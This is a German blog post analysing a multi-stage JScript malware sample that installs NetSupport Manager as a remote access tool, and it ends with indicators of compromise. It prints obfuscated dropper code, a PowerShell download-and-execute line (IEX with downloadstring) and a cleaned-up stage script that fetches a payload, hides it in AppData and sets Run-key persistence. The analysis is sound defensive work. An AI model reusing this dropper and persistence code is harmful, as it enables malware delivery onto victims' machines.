www-jmbit-de/hugo/content/blog/2023-04-28-JSRat.md

127 lines
6.6 KiB
Markdown

---
title: "JScript delivered RAT"
date: 2023-04-28
draft: false
---
# *DISCLAIMER*
**Das Herunterladen und ausführen von Malware, auch zum Zwecke der Analyse, ist gefährlich. Ich übernehme
keinerlei Haftung für etwaige Schäden bei Nachahmung!**
| UPDATE |
|-------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Neuere Varianten dieser Malware verteilen nicht direkt die jscript-Datei, sondern eine HTML-Datei, die im Javascript erst eine Zip mit dieser JScript-Datei baut! |
## Einführung
In diesem Blogeintrag möchte ich einen kleinen Einblick in die Analyse bzw. das reverse-eingineering von Malware geben.
Hier anhand einer Beispielmalware, die über Mehrere Stufen letztendlich "NetSupport Manager" als Remote Access Tool
(RAT) installiert.
Auf den ersten Blick scheint die Datei vergleichsweise harmlos, insbesondere wenn man z.B. in Windows nicht aktiviert
hat, dass der Dateiname vollständig (inkl. Endung) angezeigt wird.
![Screenshot der Dateivorschau](/img/blog/Screenshot_from_2023-04_28-08-50-24.png)
Sollte ein Windows-User die Datei zum öffnen Doppelklicken, wird sie, statt wie zu erwarten im konfigurierten PDF-Viewer
angezeigt zu werden, vom [Windows Script Host](https://de.wikipedia.org/wiki/Windows_Script_Host) mithilfe dessen
JScript-Engine ausgeführt.
## Stage 1
Die initial heruntergeladene Datei ist sehr stark [Obfuscated](https://de.wikipedia.org/wiki/Obfuskation), was das
Reverse engineering deutlich erschwert. Ein relativ einfacher Trick ist hier jedoch, die eigentlichen Aufrufe, die die
nächste Stage herunterladen wollen, so umzubauen, dass sie statt dem eigentlichen Aufruf jediglich den entsprechenden
Code ausgeben:
```js
LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk'));
FNwMBmgDjPdaInUxO[V1(0x39, 'bmzj')](V3(0x85, 'KWPY')) == ![] && CkMPuJXlbEaniIF[V3(0xac, 'ClZu')](PoHdrRpqKNwXVGyEDMO, V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0);
```
_Hier erstellt die Malware ein ActiveXObjekt mit der nächsten Stufe und führt diese aus._
```js
LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk'));
console.log(FNwMBmgDjPdaInUxO + V1(0x39, 'bmzj') + V3(0x85, 'KWPY')) ;
console.log(CkMPuJXlbEaniIF + V3(0xac, 'ClZu') )
console.log(PoHdrRpqKNwXVGyEDMO + V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0);
```
_Der gleiche Teil des Codes, aber entschärft und mit print-Statements. Das "ActiveXObject" ist jetzt eine einfache
Klasse mit String dahinter._
Wenn man diesen Code dann mithilfe von NodeJS ausführt, erhält man den folgenden Output:
```
remnux@remnux:~/Analysis/nitrogen-diet-florida-monkey$ node nitrogen-diet-florida-monkey.js
ShElL.APPlIcatioN
scriptIng.fIlesysTemobjeCt
[object Object]FolderExistsC:\userss
[object Object]ShellExecute
cmd/C POwerShElL -nop -w hidden -ep bypass -enc <BASE64String> oPen 0
```
der Base64 kodierte String enthält diesen Powershellbefehl, der die nächste Stufe der Malware herunterlädt.
```powershell
IEX (New-Object Net.Webclient).downloadstring("<STAGE3URL>")
```
## Stage 3
Stufe 3 der Malware ist ein Powershell-Skript, das auch wieder obfuskiert ist, z.B. durch seltsame Groß/Kleinschreibung,
String-Formatierung und großzügig verteilten \`, die in Powershell als Escape verwendet werden (im Gegensatz zu den
meisten anderen Sprachen, die \\ verwenden). Zudem wurde der gesamte Code in eine Zeile geschrieben.
```powershell
{rn`UM}=&("{2}{0}{1}"-f 'and','om','Get-R') -minimum 5 -maximum 9; ${r`Rn`UM}=&("{3}{2}{0}{1}"-f 'Rand','om','-','Get') -minimum 1024 -maximum 9999; ${CH`Rs}=("{8}{9}{6}{2}{10}{11}{12}{0}{14}{4}{13}{5}{3}{7}{1}" -f 'D','PRSTUVWXYZ','pstuvw','KLM','F','J','mno','NO','abcdefghi','jkl','x','yz','ABC','GHI','E'); ${R`STR}=''; ${r`An}=.("{0}{1}{2}{3}" -f'New-O','bje','c','t') ("{1}{0}{3}{2}"-f 'm.Ra','Syste','m','ndo');
```
_Ausschnitt aus dem Originalcode_
```powershell
#!/usr/bin/env pwsh
&('cd') ${ENV:appdata}
${link} = "https://<payloadurl>/wp-content/plugins/giveme.php"
${rnum} = 5
${rrnum} = 1337
${chrs} = "abcdefghijklmnopstuvwxyzABCDEFGHIJKLMNOPRSTUVWXYZ"
${rstr} = ''
${ran} = .(New-Object System.Random)
for (${i} = 0
${i} -lt ${r`NuM}
${I}++) { ${rstr} += ${chrs}[${ran}.next.Invoke(0, ${chrs}."length")] }
${rzip} = ${rstr} + ".zip"
${path} = ${ENV:`APPDATA} + '\' + ${rzip}
${pzip} = ${ENV: APPDATA} + "\ONEN0TEupdate_"
write-host (Start-Bitstransfer) -Source ${link} -Destination ${path}
&(Expand-Archive -path ${path} -destinationpath ${pzip})
${fold} = &(Get-Item) ${pzip} -Force
${fold}.Attributes = Hidden
&(Remove-Item) -path ${path}
&('cd') ${pzip}
Write-Output Start client32.exe
${fstr} = ${ENV:appdata} + ".\ONEN0TEupdate_1337\client32.exe"
${rnm} = ONEN0TEupdate_1337
Write-Output New-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name ONEN0TEupdate_1337 -Value ${fstr} -PropertyType String
```
_Stage3, aufgeräumt und vereinfacht_
Stufe 3 ist die Stufe, die letztendlich die eigentliche Payload herunterlädt. sowie einen Autostart-Registrykey
erstellt.
Bei der Payload handelt es sich um eine vorkonfigurierte Version von NetSupport Manager, die sich mit dem C2-Server
verbindet.
## IOCs
### C2-Server
* blahadfurtik.com:5222 (IP: 89.22.237.94 )
### Lokal/Filesystem
* Ordner mit dem Namen "ONEN0TEupdate\_XXXX" in `C:/Users/<USER>/AppData/Roaming/`
* Registry-Key unter `HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` mit dem gleichen Namen wie der Ordner in
Appdata und zu client32.exe in diesem zeigend
-----------
Verwendetes Sample: SHA256:00d87e984f0fcd2e8fb55e4b83d86027dac67fd073958a95cbc98961ab940f4b
Quelle: bazaar.abuse.ch